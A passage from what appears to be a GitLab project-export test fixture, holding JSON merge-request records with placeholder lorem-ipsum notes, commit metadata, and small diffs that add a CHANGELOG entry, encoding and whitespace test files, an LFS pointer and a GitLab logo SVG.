earum.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:03:00.224Z","updated_at":"2016-06-14T15:03:00.224Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":12,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":12,"relative_order":0,"sha":"97a0df9696e2aebf10c31b3016f40214e0e8f243","message":"fixes #10\n","authored_date":"2016-01-19T14:08:21.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T14:08:21.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es","commit_author":{"name":"James Lopez","email":"james@jameslopez.es"},"committer":{"name":"James Lopez","email":"james@jameslopez.es"}},{"merge_request_diff_id":12,"relative_order":1,"sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","message":"Merge branch 'master' into 'master'\r\n\r\nLFS object pointer.\r\n\r\n\r\n\r\nSee merge request !6","authored_date":"2015-12-07T12:52:12.000+01:00","author_name":"Marin Jankovski","author_email":"marin@gitlab.com","committed_date":"2015-12-07T12:52:12.000+01:00","committer_name":"Marin Jankovski","committer_email":"marin@gitlab.com","commit_author":{"name":"Marin Jankovski","email":"marin@gitlab.com"},"committer":{"name":"Marin Jankovski","email":"marin@gitlab.com"}},{"merge_request_diff_id":12,"relative_order":2,"sha":"048721d90c449b244b7b4c53a9186b04330174ec","message":"LFS object pointer.\n","authored_date":"2015-12-07T11:54:28.000+01:00","author_name":"Marin Jankovski","author_email":"maxlazio@gmail.com","committed_date":"2015-12-07T11:54:28.000+01:00","committer_name":"Marin Jankovski","committer_email":"maxlazio@gmail.com","commit_author":{"name":"Marin Jankovski","email":"maxlazio@gmail.com"},"committer":{"name":"Marin Jankovski","email":"maxlazio@gmail.com"}},{"merge_request_diff_id":12,"relative_order":3,"sha":"5f923865dde3436854e9ceb9cdb7815618d4e849","message":"GitLab currently doesn't support patches that involve a merge commit: add a commit here\n","authored_date":"2015-11-13T16:27:12.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T16:27:12.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":12,"relative_order":4,"sha":"d2d430676773caa88cdaf7c55944073b2fd5561a","message":"Merge branch 'add-svg' into 'master'\r\n\r\nAdd GitLab SVG\r\n\r\nAdded to test preview of sanitized SVG images\r\n\r\nSee merge request !5","authored_date":"2015-11-13T08:50:17.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:50:17.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":12,"relative_order":5,"sha":"2ea1f3dec713d940208fb5ce4a38765ecb5d3f73","message":"Add GitLab SVG\n","authored_date":"2015-11-13T08:39:43.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:39:43.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":12,"relative_order":6,"sha":"59e29889be61e6e0e5e223bfa9ac2721d31605b8","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd whitespace test file\r\n\r\nSorry, I did a mistake.\r\nGit ignore empty files.\r\nSo I add a new whitespace test file.\r\n\r\nSee merge request !4","authored_date":"2015-11-13T07:21:40.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T07:21:40.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":12,"relative_order":7,"sha":"66eceea0db202bb39c4e445e8ca28689645366c5","message":"add spaces in whitespace file\n","authored_date":"2015-11-13T06:01:27.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:01:27.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":12,"relative_order":8,"sha":"08f22f255f082689c0d7d39d19205085311542bc","message":"remove empty file.(beacase git ignore empty file)\nadd whitespace test file.\n","authored_date":"2015-11-13T06:00:16.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:00:16.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":12,"relative_order":9,"sha":"19e2e9b4ef76b422ce1154af39a91323ccc57434","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd spaces\r\n\r\nTo test this pull request.(https://github.com/gitlabhq/gitlabhq/pull/9757)\r\nJust add whitespaces.\r\n\r\nSee merge request !3","authored_date":"2015-11-13T05:23:14.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T05:23:14.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":12,"relative_order":10,"sha":"c642fe9b8b9f28f9225d7ea953fe14e74748d53b","message":"add whitespace in empty\n","authored_date":"2015-11-13T05:08:45.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:45.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":12,"relative_order":11,"sha":"9a944d90955aaf45f6d0c88f30e27f8d2c41cec0","message":"add empty file\n","authored_date":"2015-11-13T05:08:04.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:04.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":12,"relative_order":12,"sha":"c7fbe50c7c7419d9701eebe64b1fdacc3df5b9dd","message":"Add ISO-8859 test file\n","authored_date":"2015-08-25T17:53:12.000+02:00","author_name":"Stan Hu","author_email":"stanhu@packetzoom.com","committed_date":"2015-08-25T17:53:12.000+02:00","committer_name":"Stan Hu","committer_email":"stanhu@packetzoom.com","commit_author":{"name":"Stan Hu","email":"stanhu@packetzoom.com"},"committer":{"name":"Stan Hu","email":"stanhu@packetzoom.com"}}],"merge_request_diff_files":[{"merge_request_diff_id":12,"relative_order":0,"utf8_diff":"--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -1,4 +1,6 @@\n-v 6.7.0\n+v6.8.0\n+\n+v6.7.0\n - Add support for Gemnasium as a Project Service (Olivier Gonzalez)\n - Add edit file button to MergeRequest diff\n - Public groups (Jason Hollingsworth)\n","new_path":"CHANGELOG","old_path":"CHANGELOG","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":1,"utf8_diff":"--- /dev/null\n+++ b/encoding/iso8859.txt\n@@ -0,0 +1 @@\n+Äü\n","new_path":"encoding/iso8859.txt","old_path":"encoding/iso8859.txt","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":2,"utf8_diff":"--- /dev/null\n+++ b/files/images/wm.svg\n@@ -0,0 +1,78 @@\n+<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n+<svg width=\"1300px\" height=\"680px\" viewBox=\"0 0 1300 680\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n+ <!-- Generator: Sketch 3.2.2 (9983) - http://www.bohemiancoding.com/sketch -->\n+ <title>wm</title>\n+ <desc>Created with Sketch.</desc>\n+ <defs>\n+ <path id=\"path-1\" d=\"M-69.8,1023.54607 L1675.19996,1023.54607 L1675.19996,0 L-69.8,0 L-69.8,1023.54607 L-69.8,1023.54607 Z\"></path>\n+ </defs>\n+ <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n+ <path d=\"M1300,680 L0,680 L0,0 L1300,0 L1300,680 L1300,680 Z\" id=\"bg\" fill=\"#30353E\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"gitlab_logo\" sketch:type=\"MSLayerGroup\" transform=\"translate(-262.000000, -172.000000)\">\n+ <g id=\"g10\" transform=\"translate(872.500000, 512.354581) scale(1, -1) translate(-872.500000, -512.354581) translate(0.000000, 0.290751)\">\n+ <g id=\"g12\" transform=\"translate(1218.022652, 440.744871)\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\">\n+ <path d=\"M-50.0233338,141.900706 L-69.07059,141.900706 L-69.0100967,0.155858152 L8.04444805,0.155858152 L8.04444805,17.6840847 L-49.9628405,17.6840847 L-50.0233338,141.900706 L-50.0233338,141.900706 Z\" id=\"path14\"></path>\n+ </g>\n+ <g id=\"g16\">\n+ <g id=\"g18-Clipped\">\n+ <mask id=\"mask-2\" sketch:name=\"path22\" fill=\"white\">\n+ <use xlink:href=\"#path-1\"></use>\n+ </mask>\n+ <g id=\"path22\"></g>\n+ <g id=\"g18\" mask=\"url(#mask-2)\">\n+ <g transform=\"translate(382.736659, 312.879425)\">\n+ <g id=\"g24\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(852.718192, 124.992771)\">\n+ <path d=\"M63.9833317,27.9148929 C59.2218085,22.9379001 51.2134221,17.9597442 40.3909323,17.9597442 C25.8888194,17.9597442 20.0453962,25.1013043 20.0453962,34.4074318 C20.0453962,48.4730484 29.7848226,55.1819277 50.5642821,55.1819277 C54.4602853,55.1819277 60.7364685,54.7492469 63.9833317,54.1002256 L63.9833317,27.9148929 L63.9833317,27.9148929 Z M44.2869356,113.827628 C28.9053426,113.827628 14.7975996,108.376082 3.78897657,99.301416 L10.5211864,87.6422957 C18.3131929,92.1866076 27.8374026,96.7320827 41.4728323,96.7320827 C57.0568452,96.7320827 63.9833317,88.7239978 63.9833317,75.3074024 L63.9833317,68.3821827 C60.9528485,69.0312039 54.6766653,69.4650479 50.7806621,69.4650479 C17.4476729,69.4650479 0.565379986,57.7791759 0.565379986,33.3245665 C0.565379986,11.4683685 13.9844297,0.43151772 34.3299658,0.43151772 C48.0351955,0.43151772 61.1692285,6.70771614 65.7143717,16.8780421 L69.1776149,3.02876588 L82.5978279,3.02876588 L82.5978279,75.5237428 C82.5978279,98.462806 72.6408582,113.827628 44.2869356,113.827628 L44.2869356,113.827628 Z\" id=\"path26\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g28\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(959.546624, 124.857151)\">\n+ <path d=\"M37.2266657,17.4468081 C30.0837992,17.4468081 23.8064527,18.3121698 19.0449295,20.4767371 L19.0449295,79.2306079 L19.0449295,86.0464943 C25.538656,91.457331 33.5470425,95.3526217 43.7203922,95.3526217 C62.1173451,95.3526217 69.2602116,82.3687072 69.2602116,61.3767077 C69.2602116,31.5135879 57.7885819,17.4468081 37.2266657,17.4468081 M45.2315622,113.963713 C28.208506,113.963713 19.0449295,102.384849 19.0449295,102.384849 L19.0449295,120.67143 L18.9844362,144.908535 L10.3967097,144.908535 L0.371103324,144.908535 L0.431596656,6.62629771 C9.73826309,2.73100702 22.5081728,0.567602823 36.3611458,0.567602823 C71.8579349,0.567602823 88.9566078,23.2891625 88.9566078,62.4584098 C88.9566078,93.4043948 73.1527248,113.963713 45.2315622,113.963713\" id=\"path30\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g32\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(509.576747, 125.294950)\">\n+ <path d=\"M68.636665,129.10638 C85.5189579,129.10638 96.3414476,123.480366 103.484314,117.853189 L111.669527,132.029302 C100.513161,141.811145 85.5073245,147.06845 69.5021849,147.06845 C29.0274926,147.06845 0.673569983,122.3975 0.673569983,72.6252464 C0.673569983,20.4709215 31.2622559,0.12910638 66.2553217,0.12910638 C83.7879179,0.12910638 98.7227909,4.24073748 108.462217,8.35236859 L108.063194,64.0763105 L108.063194,70.6502677 L108.063194,81.6057001 L56.1168719,81.6057001 L56.1168719,64.0763105 L89.2323178,64.0763105 L89.6313411,21.7701271 C85.3025779,19.6055598 77.7269514,17.8748364 67.554765,17.8748364 C39.4172223,17.8748364 20.5863462,35.5717154 20.5863462,72.8415868 C20.5863462,110.711628 40.0663623,129.10638 68.636665,129.10638\" id=\"path34\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g36\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(692.388992, 124.376085)\">\n+ <path d=\"M19.7766662,145.390067 L1.16216997,145.390067 L1.2226633,121.585642 L1.2226633,111.846834 L1.2226633,106.170806 L1.2226633,96.2656714 L1.2226633,39.5681976 L1.2226633,39.3518572 C1.2226633,16.4127939 11.1796331,1.04797161 39.5335557,1.04797161 C43.4504989,1.04797161 47.2836822,1.40388649 51.0051854,2.07965952 L51.0051854,18.7925385 C48.3109055,18.3796307 45.4351455,18.1446804 42.3476589,18.1446804 C26.763646,18.1446804 19.8371595,26.1516022 19.8371595,39.5681976 L19.8371595,96.2656714 L51.0051854,96.2656714 L51.0051854,111.846834 L19.8371595,111.846834 L19.7766662,145.390067 L19.7766662,145.390067 Z\" id=\"path38\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <path d=\"M646.318899,128.021188 L664.933395,128.021188 L664.933395,236.223966 L646.318899,236.223966 L646.318899,128.021188 L646.318899,128.021188 Z\" id=\"path40\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <path d=\"M646.318899,251.154944 L664.933395,251.154944 L664.933395,269.766036 L646.318899,269.766036 L646.318899,251.154944 L646.318899,251.154944 Z\" id=\"path42\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"g44\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.464170, 0.676006)\">\n+ <path d=\"M429.269989,169.815599 L405.225053,243.802859 L357.571431,390.440955 C355.120288,397.984955 344.444378,397.984955 341.992071,390.440955 L294.337286,243.802859 L136.094873,243.802859 L88.4389245,390.440955 C85.9877812,397.984955 75.3118715,397.984955 72.8595648,390.440955 L25.2059427,243.802859 L1.16216997,169.815599 C-1.03187664,163.067173 1.37156997,155.674379 7.11261982,151.503429 L215.215498,0.336141836 L423.319539,151.503429 C429.060589,155.674379 431.462873,163.067173 429.269989,169.815599\" id=\"path46\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g48\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(135.410135, 1.012147)\">\n+ <path d=\"M80.269998,0 L80.269998,0 L159.391786,243.466717 L1.14820997,243.466717 L80.269998,0 L80.269998,0 Z\" id=\"path50\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g52\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path54\"></g>\n+ </g>\n+ <g id=\"g56\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(24.893471, 1.012613)\">\n+ <path d=\"M190.786662,0 L111.664874,243.465554 L0.777106647,243.465554 L190.786662,0 L190.786662,0 Z\" id=\"path58\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g60\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <g id=\"path62\"></g>\n+ </g>\n+ <g id=\"g64\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.077245, 0.223203)\">\n+ <path d=\"M25.5933327,244.255313 L25.5933327,244.255313 L1.54839663,170.268052 C-0.644486651,163.519627 1.75779662,156.126833 7.50000981,151.957046 L215.602888,0.789758846 L25.5933327,244.255313 L25.5933327,244.255313 Z\" id=\"path66\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g68\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path70\"></g>\n+ </g>\n+ <g id=\"g72\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(25.670578, 244.478283)\">\n+ <path d=\"M0,0 L110.887767,0 L63.2329818,146.638096 C60.7806751,154.183259 50.1047654,154.183259 47.6536221,146.638096 L0,0 L0,0 Z\" id=\"path74\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g76\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <path d=\"M0,0 L79.121788,243.465554 L190.009555,243.465554 L0,0 L0,0 Z\" id=\"path78\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g80\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(214.902910, 0.223203)\">\n+ <path d=\"M190.786662,244.255313 L190.786662,244.255313 L214.831598,170.268052 C217.024481,163.519627 214.622198,156.126833 208.879985,151.957046 L0.777106647,0.789758846 L190.786662,244.255313 L190.786662,244.255313 Z\" id=\"path82\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g84\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(294.009575, 244.478283)\">\n+ <path d=\"M111.679997,0 L0.79222998,0 L48.4470155,146.638096 C50.8993221,154.183259 61.5752318,154.183259 64.0263751,146.638096 L111.679997,0 L111.679997,0 Z\" id=\"path86\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+</svg>\n\\ No newline at end of file\n","new_path":"files/images/wm.svg","old_path":"files/images/wm.svg","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":3,"utf8_diff":"--- /dev/null\n+++ b/files/lfs/lfs_object.iso\n@@ -0,0 +1,4 @@\n+version https://git-lfs.github.com/spec/v1\n+oid sha256:91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897\n+size 1575078\n+\n","new_path":"files/lfs/lfs_object.iso","old_path":"files/lfs/lfs_object.iso","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/files/whitespace\n@@ -0,0 +1 @@\n+test \n","new_path":"files/whitespace","old_path":"files/whitespace","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":5,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":12,"created_at":"2016-06-14T15:02:24.006Z","updated_at":"2016-06-14T15:02:24.169Z","base_commit_sha":"e56497bb5f03a90a51293fc6d516788730953899","real_size":"6"},"events":[{"id":226,"target_type":"MergeRequest","target_id":12,"project_id":36,"created_at":"2016-06-14T15:02:24.253Z","updated_at":"2016-06-14T15:02:24.253Z","action":1,"author_id":1},{"id":172,"target_type":"MergeRequest","target_id":12,"project_id":5,"created_at":"2016-06-14T15:02:24.253Z","updated_at":"2016-06-14T15:02:24.253Z","action":1,"author_id":1}]}
{"id":11,"target_branch":"test-15","source_branch":"'test'","source_project_id":5,"author_id":16,"assignee_id":16,"title":"Corporis provident similique perspiciatis dolores eos animi.","created_at":"2016-06-14T15:02:23.767Z","updated_at":"2016-06-14T15:03:00.475Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":3,"description":"Libero nesciunt mollitia quis odit eos vero quasi. Iure voluptatem ut sint pariatur voluptates ut aut. Laborum possimus unde illum ipsum eum.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":809,"note":"Omnis ratione laboriosam dolores qui.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:03:00.260Z","updated_at":"2016-06-14T15:03:00.260Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":11,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":810,"note":"Voluptas voluptates pariatur dolores maxime est voluptas.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:03:00.290Z","updated_at":"2016-06-14T15:03:00.290Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":11,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":811,"note":"Sit perspiciatis facilis ipsum consequatur.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:03:00.323Z","updated_at":"2016-06-14T15:03:00.323Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":11,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":812,"note":"Ut neque aliquam nam et est.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:03:00.349Z","updated_at":"2016-06-14T15:03:00.349Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":11,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":813,"note":"Et debitis rerum minima sit aut dolorem.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:03:00.374Z","updated_at":"2016-06-14T15:03:00.374Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":11,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":814,"note":"Ea nisi earum fugit iste aperiam consequatur.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:03:00.397Z","updated_at":"2016-06-14T15:03:00.397Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":11,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":815,"note":"Amet ratione consequatur laudantium rerum voluptas est nobis.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:03:00.450Z","updated_at":"2016-06-14T15:03:00.450Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":11,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":816,"note":"Ab ducimus cumque quia dolorem vitae sint beatae rerum.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:03:00.474Z","updated_at":"2016-06-14T15:03:00.474Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":11,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":11,"state":"empty","merge_request_diff_commits":[],"merge_request_diff_files":[],"merge_request_id":11,"created_at":"2016-06-14T15:02:23.772Z","updated_at":"2016-06-14T15:02:23.833Z","base_commit_sha":"e56497bb5f03a90a51293fc6d516788730953899","real_size":null},"events":[{"id":227,"target_type":"MergeRequest","target_id":11,"project_id":36,"created_at":"2016-06-14T15:02:23.865Z","updated_at":"2016-06-14T15:02:23.865Z","action":1,"author_id":16},{"id":171,"target_type":"MergeRequest","target_id":11,"project_id":5,"created_at":"2016-06-14T15:02:23.865Z","updated_at":"2016-06-14T15:02:23.865Z","action":1,"author_id":16}]}
-{"id":10,"target_branch":"feature","source_branch":"test-5","source_project_id":5,"author_id":20,"assignee_id":25,"title":"Eligendi reprehenderit doloribus quia et sit id.","created_at":"2016-06-14T15:02:23.014Z","updated_at":"2016-06-14T15:03:00.685Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":2,"description":"Ut dolor quia aliquid dolore et nisi. Est minus suscipit enim quaerat sapiente consequatur rerum. Eveniet provident consequatur dolor accusantium reiciendis.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":817,"note":"Recusandae et voluptas enim qui et.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:03:00.510Z","updated_at":"2016-06-14T15:03:00.510Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":818,"note":"Asperiores dolorem rerum ipsum totam.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:03:00.538Z","updated_at":"2016-06-14T15:03:00.538Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":819,"note":"Qui quam et iure quasi provident cumque itaque sequi.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:03:00.562Z","updated_at":"2016-06-14T15:03:00.562Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":820,"note":"Sint accusantium aliquid iste qui iusto minus vel.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:03:00.585Z","updated_at":"2016-06-14T15:03:00.585Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":821,"note":"Dolor corrupti dolorem blanditiis voluptas.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:03:00.610Z","updated_at":"2016-06-14T15:03:00.610Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":822,"note":"Est perferendis assumenda aliquam aliquid sit ipsum ullam aut.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:03:00.635Z","updated_at":"2016-06-14T15:03:00.635Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":823,"note":"Hic neque reiciendis quaerat maiores.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:03:00.659Z","updated_at":"2016-06-14T15:03:00.659Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":824,"note":"Sequi architecto doloribus ut vel autem.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:03:00.683Z","updated_at":"2016-06-14T15:03:00.683Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":10,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":10,"relative_order":0,"sha":"f998ac87ac9244f15e9c15109a6f4e62a54b779d","message":"fixes #10\n","authored_date":"2016-01-19T14:43:23.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T14:43:23.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es"},{"merge_request_diff_id":10,"relative_order":1,"sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","message":"Merge branch 'master' into 'master'\r\n\r\nLFS object pointer.\r\n\r\n\r\n\r\nSee merge request !6","authored_date":"2015-12-07T12:52:12.000+01:00","author_name":"Marin 